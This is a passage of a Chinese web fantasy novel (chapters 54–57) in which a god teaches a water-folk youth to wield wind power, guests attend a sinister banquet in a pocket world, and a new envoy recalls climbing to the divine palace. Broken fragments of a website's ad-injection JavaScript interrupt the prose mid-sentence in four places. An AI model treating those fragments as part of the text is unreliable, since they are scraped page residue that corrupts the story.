“我死后会怎样呢?”华胥还是在重复自己那句莫名其妙的感叹。 “你吗?”阿加雷斯看着祂被雨水打湿变得一绺一绺的额发,“你联系着忘川的力量,你的死亡是旧时代覆灭的序曲,一切都将万劫不复。” 天地辽阔,点点绿芽在白骨中迸发,水面映着,天也泛起绿色。 可能这就是世界吧,有情面容无情心,旧的去了新的来,循环往复看不到终极。 华胥国名存实亡,从此这里再也没有人烟,只是湖水荡漾绿意盎然。 · 吉尔伽美什突然有些头疼,脑海中闪过一幅幅画面。 “你答应过我的!!!你明明只要祂的权能的!!!你为什么不肯放过我们!!!!为什么!!!!!”杜阿特站在整个城市最高的碑上,声嘶力竭地质问天上的神明。 得势便张狂,谁又能听进去字字泣血的控诉。 神明抬起手,天边飘来悠扬的乐音,铁骑踏破黄沙,血流成河,哀嚎声不绝于耳。 杜阿特怀里抱着一把繁花缠绕的匕首,脸上泥泞,风沙混合着泪污了全脸,只剩黄金的双眼还泛着点点星光。 “对不起,殿,下。”他一字一句说着,纵身一跃而下。 片刻后地上传出一声闷响,扬起的沙土混淆了视线,将整座黄沙之城彻底埋在尘土之中。 · “怎么样?你还好吗?”欧米伽见祂拿着筷子一动不动发愣,忍不住开口问道。 “没什么,只是想起来了之前的事了。” 54. Chapter54 克拉斯托尔在席上喝多了酒,回去就睡着了。 迷迷糊糊梦中,他看见一个斑驳的人影站在自己面前,身体简直好像虚影,看不真切。 “你是谁?”他心中疑惑,忍不住开口问道。 那人影也只是摇晃了几下,没有回答他的问题,口中仿佛在喃喃自语些什么。 克拉斯托尔眯起眼看,感觉这人影似乎有点熟悉——这色调,好像是有点水神的感觉。 “水神殿下?”他试探着开口,而就在此时,那个人影口中念的模糊难懂的词语也终于有了形状。 水神还是那个虚影的样子,“吾肉身被毁,权能散失,只能穿梭梦中,有几句话要叮嘱你。” “我吗?为什么要叮嘱我?为什么不是光神?” 水神好像并不能听到,只是自顾自重复着自己的话:“你是被世界树选中之人,你是抽离之人,你是旁观之人,你将把握着毁天灭地的力量最后从天地间新生,你要一路走到旅程的最后。” “什么?”克拉斯托尔好像并不能一下子消化这样的话语。 虚影还想再说什么,抖动几下却又一点声音也没有发出,最后渐渐消散化为泡影。 克拉斯托尔很奇怪,水神的那些没来由的话根本来不及让他理解,他就随着消逝的光影醒来了。 · “醒了?”一睁眼就是吉尔伽美什的脸,离得格外近,看上去特别大。 克拉斯托尔吓了一跳,那山羊一样的横瞳实在是太瘆人。 “昂,醒了,你在这干什么?” “晚上睡不着觉的时候突然想到了一件事,就来找你。” “您老人家居然还有这样操心的事情?” “你有着蝶泪,却不会使用,难说到什么什么地方不被人欺负,”吉尔伽美什格外自然地从他的腰间把蝶泪取下,放到克拉斯托尔的手中,“我教你怎么用,传授个一招半式的,好不好?” 克拉斯托尔突然想到了梦里阿加雷斯那些难懂的话,还来不及作出反应,吉尔伽美什就攥住他的手,往空中一挥就是一道美丽的风色弧线。 “左右今天闲着,我教你?” 克拉斯托尔看着祂,觉得自己没有理由不答应。 吉尔伽美什比他矮好多,从背后根本够不到他的手。 一人一神坐在椅子上,吉尔伽美什身子微微前倾,整个人几乎要趴在他后背上,两只小手攥紧祂连着蹼的细长手指。 克拉斯托尔在外貌本就出众的氐人中属于惊为天人的上上等,银白色的长发软绵绵搭在肩膀上,垂向腰际。来不及打扮的今日身上是一件睡衣,白色绸缎在灯火下泛着柔和的光。但比起丝绸,他的肌肤更像是完美无瑕的奶油,羊脂玉一样,好像轻轻一戳就要破了。 吉尔伽美什的面容已经是叹为观止了,可看着他,祂还是免不了要小心翼翼,生怕弄坏了这个娇贵的瓷娃娃。 “你先把眼睛闭上,对,闭上,失去视觉的世界更为真实。”光神说。 “感受着大自然的力量,你能闻到风的气息。现在,尝试引导那些气息进入你的蝶泪中。”光神说。 看着一缕风真的划开空间钻进那颗破损的蝶泪中,吉尔伽美什心中很是喜悦,嘴角上泛起了蜜糖的笑意。 “你成功了,真的很厉害。然后就是和蝶泪建立共鸣,如果成功了,你就可以看到风元素在你的脑海中规律地按照轨迹运动。” 这是一个很神奇的现象,平时肉眼不可见不可感的元素此时呈现着一种类似流动的河水一样的姿态,在漆黑的视界中规则地流动着,勾勒出蝶泪的形状。此时克拉斯托尔才真正地感知到元素的存在,才真正迸发出掌控元素力的能力。 “殿下,我……”他莫名生出了一点畏惧,恐惧来源于自小的阴影。 吉尔伽美什的双手像冰一样冷,这和所有的人都不一样,甚至水神阿加雷斯的手也是温热的,而祂——冰冷到毫无生机。 “恐惧都是来源于未知,这股力量的强大,只有使用者才会知道。不用怕,掌握它,为自己所用……我真没想到,这门必修课从来没人教过你,阿蒙努恩也没有吗?” 想到阿蒙努恩,克拉斯托尔总是能想到一些温存的片段,或许是趴在窗台上去捡飘来飘去的彩色贝壳,又或许是将珍珠穿在线上,给鲛纱点缀出一颗颗星光……就算是爱护呵护他的阿蒙努恩,也缺席了他成长中的重要一课。 克拉斯托尔心中百感交集,不知道该说出些什么。 “也是,他也不会使用自己盗窃来的力量,又怎么能教会你呢?”吉尔伽美什轻笑一声,但这笑声中没有掺杂怨恨,只是平静地诉说一件往事。 神明就是这样的,经历过的一切,不论当时情感多么浓烈,都会在时光的冲刷下变成文字,不带任何情感,只剩下客观的回忆。 历史太长了,长到神明都失去了回忆过去的兴趣;历史太短了,短到在史学家事无巨细的笔下也只能写满一个亚历山大图书馆。 “等咱们走到婆罗斯,就抽出一点时间去亚历山大图书馆看看吧,”吉尔伽美什轻声说,像是说给他听,又像是在自言自语,“小到一粒沙子都能够被记录到书中。” 简直莫名其妙,话题不知道什么时候开始跑偏,现在几乎和使用蝶泪的教程毫无关系了,但克拉斯托尔此时格外宁静,恐惧和未知都在元素规律的运转中走 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 向终结,他终于对元素力熟悉了起来,认为那是自己与生俱来的一部分。 “哦,你果然冷静下来了,”吉尔伽美什装作意外的样子,声音却还是不带有一丝情绪,淡定到让人害怕,“现在让你的意识带动这些储存在蝶泪中的元素力。” 克拉斯托尔睁开眼,他只是有了想要使用这些风元素的念头,就有一团风出现在了他的掌心,如果不是蝶泪就在他脖子上挂着,他真的要认为这是巧合了。 这就是风神的注视吗? 原来掌握力量是这个感觉,心里总有着莫名其妙的安全感,好像背井离乡和阿蒙努恩的离去都不再是什么重要的事情。 克拉斯托尔突然有些恐慌,他感觉自己身上的什么东西正在剥离。 是了,他想,是情感。一直萦绕在他心头的沉甸甸的事情在一瞬之间就变得无甚所谓了,空荡荡的心轻飘飘的,好像给自己这无边无界的元素力腾出了好大的位置。 “感受到了吧?这就是风的力量,极端的散漫和自由。散漫和自由是很沉重的,为了容纳它,你的身体舍弃了一件之前于你而言特别重要的事情。好好享受来之不易的自由吧——愿你看遍人间。” 吉尔伽美什絮絮叨叨说了很多,可克拉斯托尔一个字都没听进去,他的灵魂现在已经属于天地,不再受□□的束缚。 祂看着他这副模样,哑然失笑。初次学习掌握风元素力量的人就是这样的,舍弃了情感换来自由,一眨眼魂魄就没影了。 祂把手盖在他的手掌上,低声吐出些话来。这是神统第一纪时留下的咒语,蕴含着世间全部的知识,现在,祂准备把这一切都教给他,这是成为神明眷属的小小报酬。 “aiadagwukilgtwum.baciaoagwukil.” 一团浅金色的雾气从吉尔伽美什身上抽离,渐渐将克拉斯托尔包围。 好奇怪的感觉,他心里想着,身上不知道缠上了什么东西,热热的。空空如也的脑子里面突然充盈起来,好像要把世间一切知识都记住。 “好痛。” 听他呼痛,吉尔伽美什知道这是到达了他大脑目前的极限。 祂之前看书,说光神将这个咒语教给史官曼斯海奈特,曼斯海奈特突破了人类的极限,一个人将世界的全部历史书写在笔下。 克拉斯托尔现在还不知道自己的使命,如果不趁着现在就让他学会这些,只会徒增烦恼,到真正需要什么知识的时候就真的来不及了。 “没事的没事的,很快就会过去的。”祂总这么安慰小氐人。 最后一点金光消散,克拉斯托尔再睁开眼,只觉得自己的灵魂前所未有的充实。 55. 宴席 “你看,这是一封邀请函。” 早上刚起,吉尔伽美什就听到有什么东西在敲自己的窗子,甫一开窗,就是一封信飞了进来。 烫金的信封,泥金的纸,这么个奢侈豪华的邀请函只有一个人会发出。 “这是谁发过来的?这样的信纸价格不菲哦。”克拉斯托尔正吃着早饭,探头过来看,立即发出赞叹。 吉尔伽美什笑笑,展开邀请函看内容,“浅巧。” “秦垭的五席祭司啊,这么有钱?” 意料之中又是意料之外,看来是吉尔伽美什的咒语有效果——神明的力量果然是一点点在恢复。 吉尔伽美什露出难言的微笑,也没有和他明说,“毕竟是秦垭的高官,很正常。” “她请你干什么?我怎么觉得她没安好心。”欧米伽突然插嘴,给原本欢乐的氛围笼上了一层云雾。 神明并不在意,拍拍欧米伽的肩,“没安好心的人多了,鸿门宴又怎么样,照去不误嘛。” “祂说得对,”克拉斯托尔道,“有席不吃多可惜。” “在扬州吃席?她的邑所不是在边陲?我觉得有鬼。”欧米伽道。 “现在华胥死了,绝大多数使节都在扬州,来着很合理啊。”吉尔伽美什说。 “我理解不了。”欧米伽说。 · “那个鬼狐狸来扬州了。”街上一个路人说。 “怎么不把她赶出去啊,走过路过寸草不生的蝗虫!”另一个人说。 他俩坐在街边的茶摊上你一言我一语,老板提着一壶茶来添水。 “怎么了这是?”她问。 “你还不知道?那蝗虫来扬州了!” “五席祭司?她怎么了,不是很好一个人吗?”老板手上动作不停,头也不抬问他俩。 这俩人态度格外诡异,像是头一次认识这老板娘一样。 “你知不知道她要在扬州宴请四方使节?一个祭司能弄来那么多钱——都是贪的。” 老板到有点不可置信,“贪钱?实不相瞒,我家那出租的宅子里住了个阳关来的,他可是对五席赞不绝口呢。” “怎么会?” “你们不知道,阳关可是边陲最繁荣的城市,在五席治下蒸蒸日上呢。她想贪污,她要是贪了那阳关城可绝对不可能是现在这样。” “你这是听了那租客的瞎话吧,昨天那蝗虫车架一落地,那行贿送礼的人排着队就涌入扬州邑所了,据说那一天可收了好些钱,你从创世之初开茶摊挣钱挣到现在都挣不来那么多。” 老板和那两人聊不来,添了点水,把茶壶往他俩桌子上一放就去烧水预备下面了。 “口碑这么两极分裂,不会吧。”克拉斯托尔几人坐在角落,听得一惊一乍的。 老板娘把煮好的面端上桌子,吉尔伽美什道了声谢抓着筷子就往嘴里送,生怕慢一点饿死自己。 “真奇怪,你就这么饿?饿到在路边找个摊子就吃?”欧米伽说。 祂吃相实在不算好看,但的确吸引人。肉块红润泛着光,滴滴答答淌着油星,浮在面汤里。面汤里香料馥郁芬芳,巷子口都能闻见这股咸香。 “老板,给我们两个也上碗面。”克拉斯托尔不由自主咽了下口水。 吉尔伽美什一次性吃了个够,方拿着丝绸小帕子抿抿嘴。 “怎么不会?”他说着,把蓝色的帕子叠好放在怀里,“五席那些钱确实都是别人送礼来的。” “真假?” “几年之前还流行个童谣呢:篮子装酒空要填,金条金币塞里面,五席祭司笑开颜。她倒也真是来者不拒,谁的礼都收。” 克拉斯托尔皱眉,这样的丑事秦垭居然也不管管,“好……难评……” “收礼怎么了,爱收钱就收去呗,”吉尔伽美什端着小茶碗又喝了口茶,“她能好好办事就是了,阳关的繁荣可真不假。” 克拉斯托尔没懂,“为官者关心民生不是天经地义吗?” “她欠你的?”欧米伽轻轻开口,使节之事于他而言可是再熟悉不过,“要知道,使节可没有俸禄,管理邑所的钱要从自己腰包中出。” “维持一个城市的运转?哪能有那么多的钱?税赋?” “城市的税赋只能维持使节最基本的开支……秦垭这些使节,要么来自世家,要么同为神明。”欧米伽含混不清地答,不仔细想都想不出弦外之音。 吉尔伽美什拍拍克拉斯托尔的肩,把他手里的茶碗也抽走,一仰脖,茶水进入喉中。 “我知道他想说什么,”神明道,“要么世家自己掏钱养邑所,要么就另收一笔保护费。当然,大部分时间是二者兼在。” 获得了全部知识的氐人仍旧理解不了,撇撇嘴吃饭去了。 远处街上人声鼎沸,歌舞乐声频起。一阵银铃脆响,车马声压过石砖地,浓郁的熏香飘进巷子,和茶香面香交织在一起,难以言喻。 吉尔伽美什放下茶碗,道:“如此大张声势,不用猜都知道是浅巧车驾,去看看?” “你还真是平易近人,”欧米伽道,“按地位来看,无论怎么说都应该是她沐浴斋戒前来拜见你吧。” 神明笑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,道:“她连自己的神明都不甚尊敬,又何况是我呢。” 出了巷口到街上,车马已经远离。远看还是能看到丝绸的华盖和车上纱制的帷幔。 人山人海,听着议论就知道又有人因着这个人争执起来。 使节高高在上,从不聆听虫豸的声音。 · 扬州的邑所外,有一座巨大的别业。依山临水而建,外面竖起了高墙,每百步有一人把守。 “真稀奇啊,”吉尔伽美什摸摸鼻子,“从前没这么多守卫的。” 欧米伽道:“别具一格的宴会,感觉像极了凶案现场。” “很具有浅巧的风格。”神明道。 弯弯曲曲的小径沿河而建,各处往来全靠水路。几人乘了船往四楼之一的朱雀楼去,沿途各亭台楼阁均以星宿命名,别致又风雅。 “殿下,您诸位请在此小坐。”接引人来,却没有直接让他们见到浅巧,只是让他们在大厅内坐下歇息。 吉尔伽美什心里想着,真是出乎意料的招待方法,也不知道是上哪学的。 陆陆续续来了不少使节,甚至是余弦都屈尊至此。 余弦岔着腿靠在椅子上,左手端着个成窑的茶碗,撇了撇茶沫叹上一口,良久叹气。 “她这是上哪进修了一套新理论?”吉尔伽美什探头问。 余弦撇撇嘴,斜眼瞟了一下门口的接引人,什么都没说。 一切尽在不言中。 过了半晌,帝王车驾也至,众人起身下拜迎接。 帝王点头免礼,众人又落座。 环视四周,所坐皆是熟人:余弦、开阳、摇光、锦簇。再加上吉尔伽美什一行,总共七人。 座位已满,相比浅巧宴请的正是这七位,可此时仍未见到主人。 “浅巧姐姐呢?怎么没有见到她呀?”摇光侧身从碟子里取来一块糖糕塞入嘴里,漫不经心地说着。 金钟声响五下,接引人去而复至,唯独不见浅巧。 “这便是祭司的待客之道吗?”锦簇不怒自威,吓得接引人浑身一抖。 “陛下,我家主人初至扬州,水土不服身体不适,暂且无法起身待客。宴会仍照常举行,还望陛下恕罪。” “无妨。” 接引人道:“四日宴席均在别业内举行,钟响五声始,七声止。白日诸位可随心走动,只是夜间……您诸位切莫外出。” 锦簇刚想发作,只听接引人又道:“钟声已响,诸位务必牢记四字——百无禁忌。” 话音刚落,接引人就烟消雾散一般消失了。 56. Chapter56 众人面面相觑,不知道该说些什么。 虽说浅巧从前就喜欢莫名其妙的活动,但像今天这样把位高权重的角色当猴耍的宴会还是第一次。 锦簇顿感无趣,拔脚就走。可刚踏出朱雀楼的大门,眼前场景风云变幻,小径变成了花园。花园中大大小小摆着数十个桌子,俨然是磨兰风格,点心摞成塔形,看上去就奢靡非常。 “可能真的出不去了。”锦簇回头对几人说。 吉尔伽美什听了这话也拍拍袖子站起身,道:“既来之则安之,遵守规则总不会出事。” 说罢,祂从锦簇身边走过,率先进了花园。 别业的空间完全混乱,判断方位的方法彻底失去作用。 吉尔伽美什眯起眼睛抬头看,花园四周有四个一模一样的朱雀楼。祂试着向另一个朱雀楼走去,走了好半天,那楼却似乎远在天边。 “在别业里卡一个小世界,她的术法又进益了。”神明笑笑,转头拿起一块蛋糕。 这是磨兰的特产,纸杯里挤上面糊烤熟,上面涂满甜腻的奶油,偶尔吃上一个倒也还算是美味。 见祂毫不设防,锦簇心中警铃大作,忙问道:“殿下,如此贸然行事当真无妨吗?” “她既说了是宴会,那便按着宴会的流程来,”吉尔伽美什又吃了一个纸杯蛋糕,嘴角沾了一点粉色的奶油,“在这么个由不得自己的小世界里,你要是不听她的规矩才是死路一条。” 锦簇无奈,只好拿着签子串上几块棉花糖送到巧克力瀑布下。 “这些东西也就她喜欢吃。”她说。 嘴上虽然这么说着,但是吃的动作一点没停,甚至又串了一串棉花糖。 吉尔伽美什叫大家都过来,左右眼下也没什么别的法子,吃两口吃的放松一下得了。 摇光想到了什么,摇着头不肯出去。 吉尔伽美什环顾四周,道:“你还是快出来吧,朱雀楼的门要关了,再不出去可就出不去了。” 听祂这么说,摇光拔腿就冲。刚在花园中站定,就看到四周的朱雀楼门“砰”的一声关上,四个楼以花园为中心疯狂旋转起来,没有停下的趋势。 摇光吓得长舒一口气,道:“谢谢殿下。” “没什么,”吉尔伽美什摇摇头,“我还要谢谢你相信我呢。” 此话一出,就连吉尔伽美什自己都十分纳闷,这样的话完全不像是祂能说得出口的。 看来这个小世界果然有着别致的功能,祂想着,又吃了一个纸杯蛋糕。 摇光看祂这样,也拿起了一个蛋糕,却像看到了什么很恐怖的画面一样,蛋糕从手中掉到地上,嘴大张着,却发不出一点声音。 神明注意到她的模样,问:“你怎么了?” 摇光后退一步,两步,尖叫着,向四周疯狂旋转的朱雀楼冲去。 “她这是怎么了?”开阳问。 吉尔伽美什像是感受到了什么,向着同样的地方冲过去,一边冲一边高声喊道:“宴会继续!!就当做什么也没有发生!!!” · 神明嗅到了过去的味道,自从祂意识到自己缺失了很多记忆后,祂就对回忆的味道格外熟悉。 吉尔伽美什笃定,摇光一定是看到了有关浅巧的往事,才会受到记忆的控制而失去了对自己的掌控能力。 到底发生了什么?祂想着,浅巧到底发生了什么骇人的事情,能让摇光失去理智变成无头苍蝇? 就这么追着,摇光的身影突然消失在眼前,四周一片漆黑,疯狂旋转的朱雀楼和花园都不见了,取而代之的是无尽的虚空。 “走到罅隙了?”祂问自己,可这时自己却不会说出那些莫名其妙的话来作答了。 小世界是在真实空间中划开一条缝隙而塞进去的扭曲空间,这样的扭曲空间并不稳定,有可能膨胀也有可能缩小——不过这两种都不是什么好事情,据说曾经就有一个婆罗斯使节强行创造了一个小世界,那个世界疯狂膨胀,挤开了恢复的空间伤口,差点毁灭了整个真实空间。 而他们刚刚所处的花园可能就是一个正在缩小的小世界,这里无穷的黑暗虚空就是小世界和真实空间的中间部分。 真是大事不妙,祂想,照这个速度收缩下去就会被小世界挤压至死——直到彻底变成世界的一个奇点。 所有人都被蒙在鼓里,摇光不知所踪,只有祂有机会改变这个现状。 吉尔伽美什摸着腿缓缓下蹲,手向脚所踩的地方探去,却没有摸到坚实的地面,重心一个不稳就向下栽去。 是了,在这样没有真实逻辑的空间中就是这样的。 吉尔伽美什抱着腿,在无穷无尽的黑暗中翻滚着,找不到一个落脚点。 祂想着,要是能看到一点点线索就好了。 就只是想了一下,这罅隙仿佛能感知到内心,祂腿一伸就站住了。 “既然是这样的话……”祂对自己说。 “摇光——摇光——” 大喊几声后,一个散发着光芒的身影若隐若现,看上去却不是摇光,倒像是浅巧的形状。 吉尔伽美什喃喃自语:“记忆的味道……”随即不顾一切冲上去触摸这段历史。 · 山巅神宫,云雾缭绕。 各色彩叶从树上飘落,坠入云中,混着醴泉流出一汪甘甜,遥不可及的山顶到人间。 这是摇光第一次去神宫。 她昨日才从家族长辈的口中得知使节空位,就匆匆冠上“摇光”之字,舍了自我,到神明近前去。 那山原来那么高啊,拔地而起,直冲云霄。从前只是在家里远远看着,云雾间忽隐忽现亭台楼阁那么不真切,像梦一样。而现在真正站在山脚下,才感受到逼人的压迫。 摇光回头去,送自己来的家人都已不见,不知道是什么时候离开的,也不知道是否真正来过。 她就这样干干净净站着,前方没有古人,后面不见来者。 恐惧是必然的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,这是家人曾告诫她的话,神明的威严和不可捉摸无法避免,这是她命中注定。 蓦地,一阵温柔的风从背后而来,托着她向上,踩实了第一个石阶。 “是风神殿下吗?”她高声问,周围空无一人,没有风声,落叶沙沙无穷。 没人回答她,这路上就只有她一人,从前是这样,今后也是这样。 一步、两步、三步…… 一万步、两万步、三万步…… 烈烈罡风划破了衣服,划破了肌肤,全身上下尽是血痕,洗礼一个凡人。 明明鞋袜尽破,双足浴血,她却丝毫感觉不到疼,唯有亢奋,感觉身后的风在向上行。 上到山腰,正是王庭。 日落西山,残阳如血。金色琉璃瓦映射着天边云霞,将宫灯烘出明橙的光晕。处处燃着熏香,烟气缭绕中包裹着丝竹管弦阵阵。 人间殊胜奢靡地。 摇光简直看直了眼,走不动路。她呆呆地站着,来往宫人看见她,纷纷下跪叩首,却无人敢上前为她擦拭一丝血迹。 后背的风推着,提醒她路途未尽。 可此时她一抬腿,感受到的就是钻心的疼痛,仿佛前面几万步没有感受到的苦楚都在此处显现出来了。 她闭上眼睛,竭尽全力忘记那些浮华,抬起脚,一步一步将血迹染在白玉阶上。 痛苦是最好的镇定剂,再美丽炫目的场景都被她抛诸脑后,眼中之余那个虚无缥缈的神宫。 不能停,她告诉自己,不能停,水神还在上面等着。 一步、两步、三步…… 她根本数不清自己走了多久,根本就不知道这条漫漫长路何时能抵达尽头。 香风阵阵,闹的浑身好不黏腻,直引着人沉沦。 摇光张着嘴,口干舌燥,嗓子里几乎冒了烟,手脚不受控制地随着温柔的风和动人的舞乐声活动。 她不知道这是什么缘故,只依稀记着人们把世间极乐称之为爱。 疲惫的身子在抚慰中得到舒缓,迷幻的感觉惹着人不由自主地沉沦。 她不想再往上走了,只想流连于此。抬起腿只觉身躯沉重,直愣愣地往极乐乡中倒去。 身后的风又催促自己了。 她知道这里不是终点,咬着牙恢复清明,继续向上爬去。 一步、两步、三步…… 十一步、十二步、十三步…… 一万、一万零一、一万零二…… 两万步…… 三万步…… 六万九千九百九十九…… 七万…… 发觉眼前无路时已是深夜,抬头可触满天星斗。 眼前站着一个陌生又熟悉的人,是背后的风。 那人为自己披上白绸,从此世间繁杂皆抛诸脑后。 摇光默默上前,一步又一步留下的血脚印化烟散去。 她终于跪到水神面前。 仙人抚我顶,结发受长生。 57. Chapter57 摇光抬起头,那个女人披着星河,如雪松般立于夜空中。 忘不了,这样的仙人永远都忘不了。 黄金的面具覆在脸上,遮住了表情,神恩莫测。 摇光从神宫出来之时仍是恍恍惚惚,一切经历都仿佛一场梦。 站在山下,她不知该往哪去。 神宫和王庭还没有给她腾出新的房间。 她早已经不再是家里那个倚着窗子看书的小姑娘了,她没有家了。 “没想好去哪?”一个声音突然在她身后响起,吓得摇光一个激灵。 看她这模样,仙人嘴角泛起一丝浅笑。 凡人和仙家的道路不同,仙人只需要洗尘入册而已,仍旧是天地之间逍遥孑身;凡人却要舍弃家庭舍弃姓名,把全部的人生托付到一个前途未卜的庞大机器中。 她从前也是这样走来的。 摇光感觉到熟悉的气息,脸上泛起红晕,颇不好意思,“今天……谢谢您……怎么敢再麻烦你呢……” “来吧,不必拒绝。”仙人说,此时脸上的黄金面具早已摘下,浅灰的发丝勾勒出苍白的脸颊,只剩下一双青色瞳在黑夜中泛着光芒,格外显眼。 总归也没有地方去,不如跟了她。瑶光想着,抬起腿,跟上仙人的步伐。 原来仙人也住在朱雀大街上。 “不必唤我仙人,”这人说,“我也只是个普通的人类。” 摇光愣了,她明明一句话都没有说。 “以你现在的身份地位,是一定要封锁自己的心门的,”刚走到门前,就有几位仆从打开大门,跪地迎接,“毕竟使节之间无秘密可言。” 多么奢华的庭院,面上虽不见黄金、珍珠,但摇光还是能一眼看出此宅造价不菲。连廊、房屋皆由金丝楠木所建,窗框竟是螺钿而成,更不用提那金、银、孔雀丝等彩线混着蚕丝而成的窗纱。 女人说:“在神宫为你安排寝居之前便住在这里吧。” 摇光此前家庭也是一等一贵族,这里与之相比,可谓是有过之而无不及。 她心里紧张,口头上却只好连连应下。 “我乃浅巧,五席祭司。” 浅巧烟一样消失在摇光面前,她才刚准备拜谢。 可能使节都是这样的吧,她想着,从前参加圣露节时家里人带着她见过几位大人物,脸上罩着面具,看上去就不食人间烟火。 她在这房间内踱步,矮几案台上摆放着不少精巧的小玩意。 摇光坐在小几旁,拨弄着桌上的琉璃香炉。彩云易散,五色生辉,泛着黄金的光芒。 机关启动,香气四溢,房间内慢慢笼上雾气。 摇光嗅着那袅袅熏香,不知不觉间堕入梦境。 梦境之中,烟雾缭绕,浅巧的身影如仙如幻般浮现。只见她身着锦缎华服,幽蓝色泽如深邃夜空,领口的金丝花纹蜿蜒,璀璨闪耀。腰间束着的宝石腰带光芒夺目,发髻上的凤凰金钗摇曳生姿,耳坠的翡翠耳环不动自鸣,整个人散发着令人目眩的雍容华贵之气。 浅巧轻抬玉手,轻抚摇光的脸颊,朱唇轻启:“摇光啊,这世间犹如雾中花,水中月,真相皆藏于无形。” 她面露迷茫,“我实难领悟,还望您多指点。” 浅巧微微叹气,微微俯身,青色眼眸中泛着海波,“现实似海,深不可测,网般错综复杂。单纯之心犹如易碎琉璃。” 在这混沌世间,坚守本心何其艰难。诱惑无处不在,稍有不慎便会迷失自我。 摇光眉头紧皱,上前一步,踮起脚来问道:“难道就寻不得那正直坦荡之路?” 浅巧浅笑,眼波流转,“正直?在这混沌之境,不过是缥缈幻影,难以捉摸。” 权力的诱惑,欲望的驱使,让多少人沉沦其中,难以自拔。 她轻扯衣袖,绣着繁复花样的绸缎在微光中若隐若现,“你瞧这繁华之景。” 浅巧靠近摇光,指尖似有若无地划过她的脖颈,“有些事,不可言说,只可意会。” 摇光身子一颤,“这……” 浅巧打断她,“莫急,莫急,个中滋味,你自行体会才好。” 浅巧眼神中忽闪过一丝倦怠,却又瞬间隐匿,“诸多事由,非你我所能把控。” 摇光似懂非懂,欲再开口。 浅巧再次打断,“莫多言,往后自会明了。” 烟雾渐浓,浅巧的身影渐隐,“摇光,前路漫漫,望你慎之又慎。” 摇光猛地惊醒,冷汗湿透衣衫,满心皆是对未知的迷茫与不安。 还未等她平复心情,门外便传来了敲门声。 “摇光姑娘,神宫派我来接您去王庭。”一个清朗的声音传来。 摇光打开门,只见一位身着紫金祭司服的青年站在面前。面容俊朗,凤眼凌厉,却是一汪清浅水蓝,在阳光下折射出别样的光芒。 二人踏上前往王庭的路途,街道上熙熙攘攘,繁华热闹。朱红色的楼阁高耸入云,金色的琉璃瓦在阳光的照耀下熠熠生辉。街上风帘翠幕,奇珍异宝令人目不暇接。知秋只觉身上压着座大山,琳琅满目令人窒息。 他这是第一次踏入同僚的宅邸,只觉浑身不自在。那奢华的装饰,繁复的摆设,都让他眉头紧皱。他的目光匆匆扫过,似是不愿多做停留,满脸都写着厌恶。 一路上,知秋几次欲言又止,神色凝重。终于,他似是下定决心,缓缓开口:“摇光姑娘,在这纷繁复杂之地,您需谨守本心。”说罢,他紧蹙眉头,眼中流露出一丝期许。 摇光微微一怔,紫红色的眼眸中满是疑惑。 不等她说些什么,知秋薄唇一抿,冷哼一声,“有些人,追名逐利,迷失自我。”虽未指名道姓,但那厌恶之情溢于言表。 摇光轻轻咬唇,不知该如何回应。 知秋放缓了语气,“姑娘您初来乍到,我不盼您做枪打出头之鸟,只愿您莫要同流合污。” “那……”摇光试探着问道。 知秋眼中闪过一丝坚定,却又欲言又止,只化作一声轻叹。 不知不觉,他们已来到了王庭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 知秋停下脚步,再次看向摇光,“姑娘,往后的路,还望您多加小心。”说完,他转身离去,身影在阳光的映照下,显得有些落寞。 知秋走了,漫长的宫道上只剩摇光一人。 她低头抬眸,打量着眼前的王庭,只觉一阵头晕目眩。那巍峨的宫殿,高耸入云,金色的琉璃瓦在阳光下闪耀着炫目的光芒,好似能将人的双目灼伤。朱红色的宫墙绵延不绝,宛如一条沉睡的巨龙。 宫门口,汉白玉雕刻的瑞兽栩栩如生,威严地守护着这一方天地。走进宫门,宽阔的广场铺满了精美的地砖,每一块都仿佛承载着厚重的历史。 宫殿的飞檐斗拱精巧绝伦,彩画装饰绚丽夺目,真是目不暇接。雕花的栏杆,镶嵌着宝石的屏风,恍惚迷离涌上心头。她轻轻迈动脚步,脚下的地毯柔软而厚实,可她却觉得如踩云端,飘忽不实。 路过的花园中,奇花异草争奇斗艳,散发出阵阵迷人的芬芳。然而这浓郁的香气却让她感到有些窒息,仿佛这一切美好都只是虚幻的泡影。 摇光心中暗想,这王庭的富贵奢华,与人间的平凡烟火简直是天壤之别。人间与这里好似两个世界,她身处其中,却觉得如此格格不入。自己仿佛只是偶然闯入这里的过路人,根本不属于此。 这般富贵至极的景象连番入眼,不知未来的路在何方。 一阵风吹过,驱散了王庭上方的云朵,一座更为奢华、更为庞大雄伟的神宫在云雾之间若隐若现。那神宫宛如梦幻中的仙境,神秘而又威严。 那样高,那样直挺挺地压下来,呼吸被压到最轻,仿佛只要深吸口气,巍峨神宫就会将自己辗轧。 她的胸膛仿佛被一只无形的大手紧紧攥住,每一次呼吸都变得无比艰难。眼前的景象太过震撼,以至于她的思维都陷入了混乱与呆滞,整个人如同坠入了无边的深渊,被恐惧和敬畏紧紧包裹,难以挣脱。 就在她满心震撼之时,一阵悠扬的舞乐之声悠悠传来。她下意识地循声望去,只见天边一辆璀璨至极的车驾缓缓驶来。那是由八个有翼半人马拉着的黄金水晶车,光芒耀眼,几乎要将她的双眼灼瞎。 水神端坐在车中,华服飘动,仙姿卓然。车驾如风般掠过王庭,向着人间疾驰而去。 摇光只觉心魂俱颤,袖口下的双手止不住地颤抖。双膝一软,不由自主地跪伏在地,脑袋深深低垂。 在这宏伟而神圣的存在面前,她渺小得如同蝼蚁,心中充满了敬畏与惶恐。那一刻,整个世界仿佛都凝固了,唯有她急促的心跳,在这寂静中格外清晰。 天光云间打下,照耀着女孩小小的身躯。空旷的广场上,高耸的楼宇间,好像有一双黄金的双眼将这短暂又漫长的一刻永久记录。 小小人类,终于踏足神明的世界。 · 周围场景风云变幻,吉尔伽美什眼中再次出现景象之时,已经是回到了宴席之上。 